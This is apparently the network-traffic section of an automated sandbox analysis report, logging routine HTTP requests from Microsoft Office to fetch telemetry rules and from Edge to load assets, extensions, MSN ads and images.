Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730931095&P2=404&P3=2&P4=MUCcoHJOc30Dpkn0byq95zlpDtqcvcYwSBAbWQXq8O56G66t26cB0GvhMRZ59kKFAh0i37Xgxzc5bF4neaHoGQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 6rSJ8PYLq5iNJA/friQ1aLSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1C762142180C6CEE0191346A19FD6D49&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=17e5ac33b781468fbc3d064c67aa898d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1C762142180C6CEE0191346A19FD6D49; _EDGE_S=F=1&SID=0F328B97E1F4652514759EBFE0BC648E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
